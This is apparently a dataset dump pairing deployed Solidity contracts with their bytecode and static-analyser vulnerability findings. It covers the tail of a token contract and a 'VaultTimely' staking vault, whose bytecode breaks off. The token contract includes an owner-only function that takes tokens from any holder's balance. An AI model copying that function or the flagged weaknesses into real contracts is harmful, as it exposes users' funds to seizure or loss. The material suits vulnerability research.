&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = SafeMath.mul(amount, 1e8);
uint256 totalAmount = SafeMath.mul(amount, addresses.length);
require(balances[msg.sender] >= totalAmount);
for (uint i = 0; i < addresses.length; i++) {
require(addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
balances[addresses[i]] = SafeMath.add(balances[addresses[i]], amount);
Transfer(msg.sender, addresses[i], amount);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint i = 0; i < addresses.length; i++) {
require(amounts[i] > 0
&& addresses[i] != 0x0
&& frozenAccount[addresses[i]] == false
&& now > unlockUnixTime[addresses[i]]);
amounts[i] = SafeMath.mul(amounts[i], 1e8);
require(balances[addresses[i]] >= amounts[i]);
balances[addresses[i]] = SafeMath.sub(balances[addresses[i]], amounts[i]);
totalAmount = SafeMath.add(totalAmount, amounts[i]);
Transfer(addresses[i], msg.sender, amounts[i]);
}
balances[msg.sender] = SafeMath.add(balances[msg.sender], totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf(owner) >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if (msg.value > 0) owner.transfer(msg.value);
balances[owner] = SafeMath.sub(balances[owner], distributeAmount);
balances[msg.sender] = SafeMath.add(balances[msg.sender], distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev token fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101245763ffffffff60e060020a60003504166305d2035b811461012e57806306fdde031461015557806318160ddd146101df578063256fa24114610204578063313ce56714610255578063378dc3dc1461027e57806340c10f19146102915780634f25eced146102b357806364ddc605146102c657806370a08231146103555780637d64bcb4146103745780638da5cb5b1461038757806395d89b41146103b65780639dc29fac146103c9578063a8f11eb914610124578063a9059cbb146103eb578063b414d4b61461040d578063be45fd621461042c578063c341b9f614610491578063cbbe974b146104e4578063d39b1d4814610503578063f0dc417114610519578063f2fde38b146105a8578063f6368f8a146105c7575b61012c61066e565b005b341561013957600080fd5b6101416107d0565b604051901515815260200160405180910390f35b341561016057600080fd5b6101686107d9565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a457808201518382015260200161018c565b50505050905090810190601f1680156101d15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ea57600080fd5b6101f2610881565b60405190815260200160405180910390f35b341561020f57600080fd5b6101416004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650509335935061088792505050565b341561026057600080fd5b610268610b02565b60405160ff909116815260200160405180910390f35b341561028957600080fd5b6101f2610b0b565b341561029c57600080fd5b610141600160a060020a0360043516602435610b11565b34156102be57600080fd5b6101f2610c06565b34156102d157600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610c0c95505050505050565b341561036057600080fd5b6101f2600160a060020a0360043516610d66565b341561037f57600080fd5b610141610d81565b341561039257600080fd5b61039a610dee565b604051600160a060020a03909116815260200160405180910390f35b34156103c157600080fd5b610168610dfd565b34156103d457600080fd5b61012c600160a060020a0360043516602435610e70565b34156103f657600080fd5b610141600160a060020a0360043516602435610f3b565b341561041857600080fd5b610141600160a060020a0360043516611016565b341561043757600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061102b95505050505050565b341561049c57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506110fd9050565b34156104ef57600080fd5b6101f2600160a060020a03600435166111ff565b341561050e57600080fd5b61012c600435611211565b341561052457600080fd5b61014160046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061123195505050505050565b34156105b357600080fd5b61012c600160a060020a0360043516611518565b34156105d257600080fd5b61014160048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405281815292919060208401838380828437509496506115b395505050505050565b6000600754118015610696575060075460015461069390600160a060020a0316610d66565b10155b80156106bb5750600160a060020a0333166000908152600a602052604090205460ff16155b80156106de5750600160a060020a0333166000908152600b602052604090205442115b15156106e957600080fd5b600034111561072657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561072657600080fd5b600154600160a060020a031660009081526009602052604090205460075461074e91906118d9565b600154600160a060020a0390811660009081526009602052604080822093909355339091168152205460075461078491906118eb565b600160a060020a0333811660008181526009602052604090819020939093556001546007549193921691600080516020611cb983398151915291905190815260200160405180910390a3565b60085460ff1681565b6107e1611ca6565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b60065490565b6000806000808411801561089c575060008551115b80156108c15750600160a060020a0333166000908152600a602052604090205460ff16155b80156108e45750600160a060020a0333166000908152600b602052604090205442115b15156108ef57600080fd5b6108fd846305f5e1006118fa565b935061090a8486516118fa565b600160a060020a0333166000908152600960205260409020549092508290101561093357600080fd5b5060005b8451811015610abb5784818151811061094c57fe5b90602001906020020151600160a060020a0316158015906109a15750600a600086838151811061097857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156109e65750600b60008683815181106109b857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156109f157600080fd5b610a3560096000878481518110610a0457fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002054856118eb565b60096000878481518110610a4557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610a7557fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3600101610937565b600160a060020a033316600090815260096020526040902054610ade90836118d9565b33600160a060020a0316600090815260096020526040902055506001949350505050565b60045460ff1690565b60055481565b60015460009033600160a060020a03908116911614610b2f57600080fd5b60085460ff1615610b3f57600080fd5b60008211610b4c57600080fd5b610b58600654836118eb565b600655600160a060020a038316600090815260096020526040902054610b7e90836118eb565b600160a060020a0384166000818152600960205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020611cb98339815191528460405190815260200160405180910390a350600192915050565b60075481565b60015460009033600160a060020a03908116911614610c2a57600080fd5b60008351118015610c3c575081518351145b1515610c4757600080fd5b5060005b8251811015610d6157818181518110610c6057fe5b90602001906020020151600b6000858481518110610c7a57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610ca857600080fd5b818181518110610cb457fe5b90602001906020020151600b6000858481518110610cce57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610cfe57fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610d3e57fe5b9060200190602002015160405190815260200160405180910390a2600101610c4b565b505050565b600160a060020a031660009081526009602052604090205490565b60015460009033600160a060020a03908116911614610d9f57600080fd5b60085460ff1615610daf57600080fd5b6008805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b610e05611ca6565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108775780601f1061084c57610100808354040283529160200191610877565b60015433600160a060020a03908116911614610e8b57600080fd5b600081118015610ea3575080610ea083610d66565b10155b1515610eae57600080fd5b600160a060020a038216600090815260096020526040902054610ed190826118d9565b600160a060020a038316600090815260096020526040902055600654610ef790826118d9565b600655600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000610f45611ca6565b600083118015610f6e5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f935750600160a060020a0384166000908152600a602052604090205460ff16155b8015610fb65750600160a060020a0333166000908152600b602052604090205442115b8015610fd95750600160a060020a0384166000908152600b602052604090205442115b1515610fe457600080fd5b610fed84611925565b1561100457610ffd84848361192d565b915061100f565b610ffd848483611b53565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156110555750600160a060020a0333166000908152600a602052604090205460ff16155b801561107a5750600160a060020a0384166000908152600a602052604090205460ff16155b801561109d5750600160a060020a0333166000908152600b602052604090205442115b80156110c05750600160a060020a0384166000908152600b602052604090205442115b15156110cb57600080fd5b6110d484611925565b156110eb576110e484848461192d565b90506110f6565b6110e4848484611b53565b9392505050565b60015460009033600160a060020a0390811691161461111b57600080fd5b600083511161112957600080fd5b5060005b8251811015610d615782818151811061114257fe5b90602001906020020151600160a060020a0316151561116057600080fd5b81600a600085848151811061117157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106111af57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161112d565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461122c57600080fd5b600755565b6001546000908190819033600160a060020a0390811691161461125357600080fd5b60008551118015611265575083518551145b151561127057600080fd5b5060009050805b84518110156114f557600084828151811061128e57fe5b906020019060200201511180156112c257508481815181106112ac57fe5b90602001906020020151600160a060020a031615155b80156113025750600a60008683815181106112d957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156113475750600b600086838151811061131957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561135257600080fd5b61137584828151811061136157fe5b906020019060200201516305f5e1006118fa565b84828151811061138157fe5b6020908102909101015283818151811061139757fe5b90602001906020020151600960008784815181106113b157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410156113e057600080fd5b611439600960008784815181106113f357fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205485838151811061142a57fe5b906020019060200201516118d9565b6009600087848151811061144957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205561148c8285838151811061147d57fe5b906020019060200201516118eb565b915033600160a060020a03168582815181106114a457fe5b90602001906020020151600160a060020a0316600080516020611cb98339815191528684815181106114d257fe5b9060200190602002015160405190815260200160405180910390a3600101611277565b600160a060020a033316600090815260096020526040902054610ade90836118eb565b60015433600160a060020a0390811691161461153357600080fd5b600160a060020a038116151561154857600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115dd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156116025750600160a060020a0385166000908152600a602052604090205460ff16155b80156116255750600160a060020a0333166000908152600b602052604090205442115b80156116485750600160a060020a0385166000908152600b602052604090205442115b151561165357600080fd5b61165c85611925565b156118c3578361166b33610d66565b101561167657600080fd5b61168861168233610d66565b856118d9565b600160a060020a0333166000908152600960205260409020556116b36116ad86610d66565b856118eb565b600160a060020a0386166000818152600960205260408082209390935590918490518082805190602001908083835b602083106117015780518252601f1990920191602091820191016116e2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b8381101561179257808201518382015260200161177a565b50505050905090810190601f1680156117bf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156117e357fe5b826040518082805190602001908083835b602083106118135780518252601f1990920191602091820191016117f4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a35060016118d1565b6118ce858585611b53565b90505b949350505050565b6000828211156118e557fe5b50900390565b6000828201838110156110f657fe5b60008083151561190d576000915061100f565b5082820282848281151561191d57fe5b04146110f657fe5b6000903b1190565b6000808361193a33610d66565b101561194557600080fd5b61195161168233610d66565b600160a060020a0333166000908152600960205260409020556119766116ad86610d66565b600160a060020a03861660008181526009602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611a0f5780820151838201526020016119f7565b50505050905090810190601f168015611a3c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a5c57600080fd5b6102c65a03f11515611a6d57600080fd5b505050826040518082805190602001908083835b60208310611aa05780518252601f199092019160209182019101611a81565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a0316600080516020611cb98339815191528660405190815260200160405180910390a3506001949350505050565b600082611b5f33610d66565b1015611b6a57600080fd5b611b7c611b7633610d66565b846118d9565b600160a060020a033316600090815260096020526040902055611ba7611ba185610d66565b846118eb565b600160a060020a03851660009081526009602052604090819020919091558290518082805190602001908083835b60208310611bf45780518252601f199092019160209182019101611bd5565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a0316600080516020611cb98339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058204c836b1344811b30f48abd9894da007038f7aca432cefe598ca87188ab339b970029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,412 |
0xa387d2be9f737612fa85c86d0234e36e3f2a048b
|
pragma solidity 0.6.11;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract VaultTimely is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// trusted deposit token contract address
address public constant trustedDepositTokenAddress = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
// trusted reward token contract address
address public constant trustedRewardTokenAddress = 0xf4CD3d3Fda8d7Fd6C5a500203e38640A70Bf9577;
// reward rate
uint public rewardRatePercentX100 = 12e2;
uint public constant rewardInterval = 365 days;
uint public cliffTime = 72 hours;
uint public withdrawFeePercentX100 = 50;
uint public totalClaimedRewards = 0;
uint public vaultDuration = 365 days;
// admin can transfer out reward tokens from this contract one month after vault has ended
uint public adminCanClaimAfter = 395 days;
uint public vaultDeployTime;
uint public adminClaimableTime;
uint public vaultEndTime;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
constructor () public {
vaultDeployTime = now;
vaultEndTime = vaultDeployTime.add(vaultDuration);
adminClaimableTime = vaultDeployTime.add(adminCanClaimAfter);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(trustedRewardTokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff;
uint _now = now;
if (_now > vaultEndTime) {
_now = vaultEndTime;
}
if (lastClaimedTime[_holder] >= _now) {
timeDiff = 0;
} else {
timeDiff = _now.sub(lastClaimedTime[_holder]);
}
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount
.mul(rewardRatePercentX100)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
require(Token(trustedDepositTokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
updateAccount(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
// emergency withdraw without caring about pending earnings
// pending earnings will be lost / set to 0 if used emergency withdraw
function emergencyWithdraw(uint amountToWithdraw) public {
require(amountToWithdraw > 0, "Cannot withdraw 0 Tokens");
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
// set pending earnings to 0 here
lastClaimedTime[msg.sender] = now;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(trustedDepositTokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(trustedDepositTokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
// Admin cannot transfer out deposit tokens from this smart contract
// Admin can transfer out reward tokens from this address once adminClaimableTime has reached
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != trustedDepositTokenAddress, "Admin cannot transfer out Deposit Tokens from this contract!");
require((_tokenAddr != trustedRewardTokenAddress) || (now > adminClaimableTime), "Admin cannot Transfer out Reward Tokens yet!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c806398896d10116100de578063ce86431211610097578063d7130e1411610071578063d7130e1414610746578063e178905a14610764578063f2fde38b14610782578063f3f91fa0146107c65761018e565b8063ce864312146106ec578063d1b965f31461070a578063d578ceab146107285761018e565b806398896d10146105b4578063b410fdaa1461060c578063b6b55f251461062a578063bec4de3f14610658578063c326bf4f14610676578063ca7e0835146106ce5761018e565b806346c648731161014b57806354f1c43f1161012557806354f1c43f146104865780636270cd18146104a45780636a395ccb146104fc5780638da5cb5b1461056a5761018e565b806346c64873146103f65780634e71d92d1461044e5780635312ea8e146104585761018e565b806305447d25146101935780630f1a6444146102f85780631cfa8021146103165780632e1a7d4d14610360578063308feec31461038e57806331a5dda1146103ac575b600080fd5b6101c9600480360360408110156101a957600080fd5b81019080803590602001909291908035906020019092919050505061081e565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102185780820151818401526020810190506101fd565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561025a57808201518184015260208101905061023f565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561029c578082015181840152602081019050610281565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102de5780820151818401526020810190506102c3565b505050509050019850505050505050505060405180910390f35b610300610b37565b6040518082815260200191505060405180910390f35b61031e610b3d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61038c6004803603602081101561037657600080fd5b8101908080359060200190929190505050610b55565b005b610396611092565b6040518082815260200191505060405180910390f35b6103b46110a3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104386004803603602081101561040c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110bb565b6040518082815260200191505060405180910390f35b6104566110d3565b005b6104846004803603602081101561046e57600080fd5b81019080803590602001909291905050506110de565b005b61048e611656565b6040518082815260200191505060405180910390f35b6104e6600480360360208110156104ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165c565b6040518082815260200191505060405180910390f35b6105686004803603606081101561051257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611674565b005b6105726118d3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105f6600480360360208110156105ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118f8565b6040518082815260200191505060405180910390f35b610614611acc565b6040518082815260200191505060405180910390f35b6106566004803603602081101561064057600080fd5b8101908080359060200190929190505050611ad2565b005b610660611dd7565b6040518082815260200191505060405180910390f35b6106b86004803603602081101561068c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ddf565b6040518082815260200191505060405180910390f35b6106d6611df7565b6040518082815260200191505060405180910390f35b6106f4611dfd565b6040518082815260200191505060405180910390f35b610712611e03565b6040518082815260200191505060405180910390f35b610730611e09565b6040518082815260200191505060405180910390f35b61074e611e0f